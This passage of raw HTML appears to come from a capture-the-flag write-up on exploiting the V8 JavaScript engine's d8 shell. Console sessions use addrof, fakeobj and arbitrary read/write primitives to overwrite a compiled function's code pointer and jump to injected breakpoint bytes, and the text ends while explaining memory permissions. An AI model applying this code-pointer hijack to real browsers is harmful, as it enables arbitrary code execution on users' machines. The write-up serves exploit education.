class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;%&lt;span class=&#34;jsConV8&#34;&gt;OptimizeFunctionOnNextCall&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;func&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;func&lt;/span&gt;()&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 8,11 4,7 8,3 8.85,3.85 5.7,7 8.85,10.15 Z&#34;/&gt;&lt;circle cx=&#34;10&#34; cy=&#34;7&#34; r=&#34;1&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConValOut&#34;&gt;4919&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;%&lt;span class=&#34;jsConV8&#34;&gt;DebugPrint&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;func&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine jsConTerm&#34;&gt;DebugPrint: 0x2d7a001d3fb9: [Function] in OldSpace&#xD;&#xA; - code: 0x2d7a002006ed &amp;lt;Code TURBOFAN&amp;gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;codeObj&lt;/span&gt; = &lt;span class=&#34;jsConVar&#34;&gt;fakeobj&lt;/span&gt;(&lt;span class=&#34;jsConValIn&#34;&gt;0x002006ed&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;%&lt;span class=&#34;jsConV8&#34;&gt;DebugPrint&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;codeObj&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;jsMem&#34;&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsMemTitle&#34;&gt;V8&lt;div class=&#34;jsMemSep&#34;&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsMemDbg&#34;&gt;DebugPrint: &lt;span class=&#34;jsMemVar1&#34;&gt;0x2d7a002006ed&lt;/span&gt;: [Code]&#xD;&#xA; - map: &lt;span class=&#34;jsMemVar3&#34;&gt;0x2d7a00000d61&lt;/span&gt; &amp;lt;Map[64](&lt;span class=&#34;jsMemVar3&#34;&gt;CODE_TYPE&lt;/span&gt;)&amp;gt;&#xD;&#xA; - kind: TURBOFAN&#xD;&#xA; - deoptimization_data_or_interpreter_data: &lt;span class=&#34;jsMemVar2&#34;&gt;0x2d7a0020066d&lt;/span&gt; &amp;lt;Other heap object (PROTECTED_FIXED_ARRAY_TYPE)&amp;gt;&#xD;&#xA; - position_table: &lt;span class=&#34;jsMemVar4&#34;&gt;0x2d7a00180011&lt;/span&gt; &amp;lt;Other heap object (TRUSTED_BYTE_ARRAY_TYPE)&amp;gt;&#xD;&#xA; - instruction_stream: &lt;span class=&#34;jsMemVar5&#34;&gt;0x5555b79416f1&lt;/span&gt; &amp;lt;InstructionStream TURBOFAN&amp;gt;&#xD;&#xA; - instruction_start: &lt;span class=&#34;jsMemVar6&#34;&gt;0x5555b7941700&lt;/span&gt;&#xD;&#xA; - is_turbofanned: 1&#xD;&#xA;&lt;span class=&#34;over960h&#34;&gt; - stack_slots: 6&#xD;&#xA; - marked_for_deoptimization: 0&#xD;&#xA; - embedded_objects_cleared: 0&#xD;&#xA; - can_have_weak_objects: 1&#xD;&#xA; - instruction_size: 124&#xD;&#xA; - metadata_size: 12&#xD;&#xA; - inlined_bytecode_size: 0&#xD;&#xA; - osr_offset: -1&#xD;&#xA; - handler_table_offset: 12&#xD;&#xA; - unwinding_info_offset: 12&#xD;&#xA; - code_comments_offset: 12&#xD;&#xA; - instruction_stream.relocation_info: 0x2d7a002006dd &amp;lt;Other heap object (TRUSTED_BYTE_ARRAY_TYPE)&amp;gt;&#xD;&#xA; - instruction_stream.body_size: 136&#xD;&#xA;&lt;/span&gt;&lt;!----&gt;&#xD;&#xA;--- Disassembly: ---&#xD;&#xA;kind = TURBOFAN&#xD;&#xA;stack_slots = 6&#xD;&#xA;compiler = turbofan&#xD;&#xA;address = &lt;span class=&#34;jsMemVar1&#34;&gt;0x2d7a002006ed&lt;/span&gt;&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;Instructions (size = 124)&#xD;&#xA;0x5555b7941700   0 &lt;span class=&#34;jsMemVar7&#34;&gt;8b59f4       movl rbx,[rcx-0xc]&lt;/span&gt;&#xD;&#xA;0x5555b7941703   3 &lt;span class=&#34;jsMemVar8&#34;&gt;4903de       REX.W addq rbx,r14&lt;/span&gt;&#xD;&#xA;0x5555b7941706   6 &lt;span class=&#34;jsMemVar9&#34;&gt;f6431e20     testb [rbx+0x1e],0x20&lt;/span&gt;&#xD;&#xA;0x5555b794170a   a &lt;span class=&#34;jsMemVar10&#34;&gt;0f85f05e03a0 jnz 0x555557977600 (CompileLazyDeoptimizedCode) ;; near builtin entry&lt;/span&gt;&#xD;&#xA;0x5555b7941710  10 &lt;span class=&#34;jsMemVar11&#34;&gt;55           push rbp&lt;/span&gt;&#xD;&#xA;0x5555b7941711  11 &lt;span class=&#34;jsMemVar12&#34;&gt;4889e5       REX.W movq rbp,rsp&lt;/span&gt;&#xD;&#xA;0x5555b7941714  14 &lt;span class=&#34;jsMemVar13&#34;&gt;56           push rsi&lt;/span&gt;&#xD;&#xA;0x5555b7941715  15 &lt;span class=&#34;jsMemVar14&#34;&gt;57           push rdi&lt;/span&gt;&#xD;&#xA;0x5555b7941716  16 &lt;span class=&#34;jsMemVar15&#34;&gt;50           push rax&lt;/span&gt;&#xD;&#xA;0x5555b7941717  17 &lt;span class=&#34;jsMemVar16&#34;&gt;4883ec08     REX.W subq rsp,0x8&lt;/span&gt;&#xD;&#xA;0x5555b794171b  1b &lt;span class=&#34;jsMemVar17&#34;&gt;493b65a0     REX.W cmpq rsp,[r13-0x60] (external value (StackGuard::address_of_jslimit()))&lt;/span&gt;&#xD;&#xA;0x5555b794171f  1f &lt;span class=&#34;jsMemVar18&#34;&gt;0f861f000000 jna 0x5555b7941744  &amp;lt;+0x44&amp;gt;&lt;/span&gt;&#xD;&#xA;...&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;jsMemTitle&#34;&gt;GDB [0x2d7a002006ed]&lt;div class=&#34;jsMemSep&#34;&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsMemHex&#34;&gt;&lt;span class=&#34;jsMemVar1&#34;&gt;0x2d7a002006ec&lt;/span&gt;: 0x&lt;span class=&#34;jsMemVar2&#34;&gt;0020066d&lt;/span&gt;&lt;span class=&#34;jsMemVar3&#34;&gt;00000d61&lt;/span&gt;&lt;span class=&#34;under430&#34;&gt;&lt;br&gt;0x2d7a002006f4:&lt;/span&gt; 0x001d4851&lt;span class=&#34;jsMemVar4&#34;&gt;00180011&lt;/span&gt;&#xD;&#xA;0x2d7a002006fc: 0x&lt;span class=&#34;jsMemVar6&#34;&gt;b7941700&lt;/span&gt;&lt;span class=&#34;jsMemVar5&#34;&gt;b79416f1&lt;/span&gt;&lt;span class=&#34;under430&#34;&gt;&lt;br&gt;0x2d7a00200704:&lt;/span&gt; 0x800000dc&lt;span class=&#34;jsMemVar6&#34;&gt;00005555&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;jsMemTitle&#34;&gt;GDB [0x5555b7941700]&lt;div class=&#34;jsMemSep&#34;&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsMemHex&#34;&gt;&lt;span class=&#34;jsMemVar6&#34;&gt;0x5555b7941700&lt;/span&gt;: 0x&lt;span class=&#34;jsMemVar9&#34;&gt;43f6&lt;/span&gt;&lt;span class=&#34;jsMemVar8&#34;&gt;de0349&lt;/span&gt;&lt;span class=&#34;jsMemVar7&#34;&gt;f4598b&lt;/span&gt;&lt;span class=&#34;under430&#34;&gt;&lt;br&gt;0x5555b7941708:&lt;/span&gt; 0x&lt;span class=&#34;jsMemVar10&#34;&gt;a0035ef0850f&lt;/span&gt;&lt;span class=&#34;jsMemVar9&#34;&gt;201e&lt;/span&gt;&#xD;&#xA;0x5555b7941710: 0x&lt;span class=&#34;jsMemVar16&#34;&gt;48&lt;/span&gt;&lt;span class=&#34;jsMemVar15&#34;&gt;50&lt;/span&gt;&lt;span class=&#34;jsMemVar14&#34;&gt;57&lt;/span&gt;&lt;span class=&#34;jsMemVar13&#34;&gt;56&lt;/span&gt;&lt;span class=&#34;jsMemVar12&#34;&gt;e58948&lt;/span&gt;&lt;span class=&#34;jsMemVar11&#34;&gt;55&lt;/span&gt;&lt;span class=&#34;under430&#34;&gt;&lt;br&gt;0x5555b7941718:&lt;/span&gt; 0x&lt;span class=&#34;jsMemVar18&#34;&gt;0f&lt;/span&gt;&lt;span class=&#34;jsMemVar17&#34;&gt;a0653b49&lt;/span&gt;&lt;span class=&#34;jsMemVar16&#34;&gt;08ec83&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;Awesome, we have a code object that &lt;span class=&#34;jsMemVarExt6&#34;&gt;points to an address&lt;/span&gt; where the code gets run from, and we can change it to whatever we want. Let&amp;rsquo;s make a part of the memory just the &lt;a href=&#34;https://en.wikipedia.org/wiki/INT_%28x86_instruction%29#INT3&#34;&gt;0xCC INT3&lt;/a&gt; breakpoint opcode - this will temporarily pause the execution and send a &lt;a href=&#34;https://en.wikipedia.org/wiki/Signal_%28IPC%29#SIGTRAP&#34;&gt;SIGTRAP signal&lt;/a&gt; to gdb so we can look into the current state.&lt;/p&gt;&#xA;&lt;div class=&#34;jsConsole&#34; style=&#34;margin-bottom: 4px&#34;&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;funcAddr&lt;/span&gt; = &lt;span class=&#34;jsConVar&#34;&gt;addrof&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;func&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;hex32&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;funcAddr&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 8,11 4,7 8,3 8.85,3.85 5.7,7 8.85,10.15 Z&#34;/&gt;&lt;circle cx=&#34;10&#34; cy=&#34;7&#34; r=&#34;1&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConStrOut&#34;&gt;&#39;0x001d3fb9&#39;&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;codeAddr&lt;/span&gt; = &lt;span class=&#34;jsConVar&#34;&gt;read&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;funcAddr&lt;/span&gt; + &lt;span class=&#34;jsConValIn&#34;&gt;0x8n&lt;/span&gt;) &amp;gt;&amp;gt; &lt;span class=&#34;jsConValIn&#34;&gt;32n&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;hex32&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;codeAddr&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 8,11 4,7 8,3 8.85,3.85 5.7,7 8.85,10.15 Z&#34;/&gt;&lt;circle cx=&#34;10&#34; cy=&#34;7&#34; r=&#34;1&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConStrOut&#34;&gt;&#39;0x002006ed&#39;&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;instructionStart&lt;/span&gt; = &lt;span class=&#34;jsConVar&#34;&gt;codeAddr&lt;/span&gt; + &lt;span class=&#34;jsConValIn&#34;&gt;0x14n&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;hex64&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;read&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;instructionStart&lt;/span&gt;))&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 8,11 4,7 8,3 8.85,3.85 5.7,7 8.85,10.15 Z&#34;/&gt;&lt;circle cx=&#34;10&#34; cy=&#34;7&#34; r=&#34;1&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConStrOut&#34;&gt;&#39;0x00005555b7941700&#39;&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;instructions&lt;/span&gt; = [&lt;span class=&#34;jsConVar&#34;&gt;i2f&lt;/span&gt;(&lt;span class=&#34;jsConValIn&#34;&gt;0xCCCCCCCCCCCCCCCCn&lt;/span&gt;), &lt;span class=&#34;jsConValIn&#34;&gt;2.2&lt;/span&gt;]&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;instructions&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 8,11 4,7 8,3 8.85,3.85 5.7,7 8.85,10.15 Z&#34;/&gt;&lt;circle cx=&#34;10&#34; cy=&#34;7&#34; r=&#34;1&#34;/&gt;&lt;/svg&gt;&lt;details&gt;&lt;summary&gt;&lt;i&gt;(2) [&lt;span class=&#34;jsConValOut&#34;&gt;-9.255963134931783e+61&lt;/span&gt;, &lt;span class=&#34;jsConValOut&#34;&gt;2.2&lt;/span&gt;&lt;/span&gt;]&lt;/i&gt;&lt;/summary&gt;&#xD;&#xA;&lt;div style=&#34;padding-left: 24px&#34;&gt;&#xD;&#xA;&#x9;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;0&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;0xcccccccccccccccc&lt;/span&gt;&lt;br/&gt;&#xD;&#xA;&#x9;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;1&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;0x400199999999999a&lt;/span&gt;&lt;br/&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;/details&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;instructionsAddr&lt;/span&gt; = &lt;span class=&#34;jsConValIn&#34;&gt;0x2d7a00000000n&lt;/span&gt; + &lt;span class=&#34;jsConVar&#34;&gt;addrof&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;instructions&lt;/span&gt;) - &lt;span class=&#34;jsConValIn&#34;&gt;0x10n&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;write&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;instructionStart&lt;/span&gt;, &lt;span class=&#34;jsConVar&#34;&gt;instructionsAddr&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;func&lt;/span&gt;()&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine jsConTerm&#34;&gt;Received signal 11 SEGV_ACCERR 2d7a00050061&#xD;&#xA;Segmentation fault (core dumped)&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;Huh, that didn&amp;rsquo;t work, why is that?&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;SEGV_ACCERR&lt;/code&gt; signal gives us a hint - it means that there was some sort of a permissions error accessing the memory map. It turns out not all memory is made equal and different parts of the memory have different permissions. In Linux we can see this by looking at the map of a process.&lt;/p&gt;&#xA;&lt;div class=&#34;termCode&#34;&gt;&lt;span class=&#34;termCodeW&#34;&gt;$ ./d8 &amp;amp;&lt;/span&gt; &lt;span class=&#34;termCodeComm&#34;&gt;&amp;lt;-- run d8 in the background&lt;/span&gt;&#xD;&#xA;[1] &lt;span class=&#34;termCodeW&#34;&gt;1962&lt;/span&gt; &lt;span class=&#34;termCodeComm&#34;&gt;&amp;lt;-- that&#39;s the d8 process id&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;termCodeW&#34;&gt;$&lt;/span&gt; V8 version 12.7.0 (candidate)&#xD;&#xA;d8&gt; &#xD;&#xA;[1]+  Stopped                 ./d8&#xD;&#xA;&lt;span class=&#34;termCodeW&#34;&gt;$ cat /proc/1962/maps&lt;/span&gt; &lt;span class=&#34;termCodeComm&#34;&gt;&amp;lt;-- look at the process map&lt;/span&gt;&#xD;&#xA;a6b00000000-1a6b00010000 &lt;span class=&#34;termCodePr&#34;&gt;r--p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 00:00 0&lt;/span&gt;&#xD;&#xA;1a6b00010000-1a6b00020000 &lt;span class=&#34;termCodePp&#34;&gt;---p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 00:00 0&lt;/span&gt;&#xD;&#xA;1a6b00020000-1a6b00040000 &lt;span class=&#34;termCodePr&#34;&gt;r--p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 00:00 0&lt;/span&gt;&#xD;&#xA;1a6b00040000-1a6b00143000 &lt;span class=&#34;termCodePw&#34;&gt;rw-p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 00:00 0&lt;/span&gt;&#xD;&#xA;1a6b00143000-1a6b00180000 &lt;span class=&#34;termCodePp&#34;&gt;---p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 00:00 0&lt;/span&gt;&#xD;&#xA;1a6b00180000-1a6b00181000 &lt;span class=&#34;termCodePw&#34;&gt;rw-p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 00:00 0&lt;/span&gt;&#xD;&#xA;1a6b00181000-1a6b001c0000 &lt;span class=&#34;termCodePp&#34;&gt;---p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 00:00 0&lt;/span&gt;&#xD;&#xA;1a6b001c0000-1a6b00200000 &lt;span class=&#34;termCodePw&#34;&gt;rw-p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 00:00 0&lt;/span&gt;&#xD;&#xA;1a6b00200000-1a6b00300000 &lt;span class=&#34;termCodePp&#34;&gt;---p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 00:00 0&lt;/span&gt;&#xD;&#xA;1a6b00300000-1a6b00316000 &lt;span class=&#34;termCodePr&#34;&gt;r--p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 00:00 0&lt;/span&gt;&#xD;&#xA;1a6b00316000-1a6b00340000 &lt;span class=&#34;termCodePp&#34;&gt;---p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 00:00 0&lt;/span&gt;&#xD;&#xA;1a6b00340000-1a6c00000000 &lt;span class=&#34;termCodePp&#34;&gt;---p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 00:00 0&lt;/span&gt;&#xD;&#xA;55987ab85000-55987bcc3000 &lt;span class=&#34;termCodePr&#34;&gt;r--p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 08:01 1356475                   &lt;/span&gt;&amp;nbsp;/home/lyra/Desktop/array.xor/dist/d8&#xD;&#xA;55987bcc4000-55987d35e000 &lt;span class=&#34;termCodePx&#34;&gt;r-xp&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;0113e000 08:01 1356475                   &lt;/span&gt;&amp;nbsp;/home/lyra/Desktop/array.xor/dist/d8&#xD;&#xA;55987d35e000-55987d3df000 &lt;span class=&#34;termCodePr&#34;&gt;r--p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;027d7000 08:01 1356475                   &lt;/span&gt;&amp;nbsp;/home/lyra/Desktop/array.xor/dist/d8&#xD;&#xA;55987d3e0000-55987d3ec000 &lt;span class=&#34;termCodePw&#34;&gt;rw-p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;02858000 08:01 1356475                   &lt;/span&gt;&amp;nbsp;/home/lyra/Desktop/array.xor/dist/d8&#xD;&#xA;55987d3ec000-55987d3ed000 &lt;span class=&#34;termCodePr&#34;&gt;r--p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;02864000 08:01 1356475                   &lt;/span&gt;&amp;nbsp;/home/lyra/Desktop/array.xor/dist/d8&#xD;&#xA;55987d3ed000-55987d3fb000 &lt;span class=&#34;termCodePw&#34;&gt;rw-p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;02865000 08:01 1356475                   &lt;/span&gt;&amp;nbsp;/home/lyra/Desktop/array.xor/dist/d8&#xD;&#xA;55987d3fb000-55987d42e000 &lt;span class=&#34;termCodePw&#34;&gt;rw-p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 00:00 0&lt;/span&gt;&#xD;&#xA;55987f17d000-55987f214000 &lt;span class=&#34;termCodePw&#34;&gt;rw-p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 00:00 0                         &lt;/span&gt;&amp;nbsp;[heap]&#xD;&#xA;5598dcf80000-5598fcf80000 &lt;span class=&#34;termCodePrwx&#34;&gt;rwxp&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 00:00 0&lt;/span&gt;&#xD;&#xA;7f68b8000000-7f68b8010000 &lt;span class=&#34;termCodePr&#34;&gt;r--p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 00:00 0&lt;/span&gt;&#xD;&#xA;7f68b8010000-7f68d8000000 &lt;span class=&#34;termCodePp&#34;&gt;---p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 00:00 0&lt;/span&gt;&#xD;&#xA;7f68d8000000-7f68d8010000 &lt;span class=&#34;termCodePr&#34;&gt;r--p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 00:00 0&lt;/span&gt;&#xD;&#xA;7f68d8010000-7f68f8000000 &lt;span class=&#34;termCodePp&#34;&gt;---p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 00:00 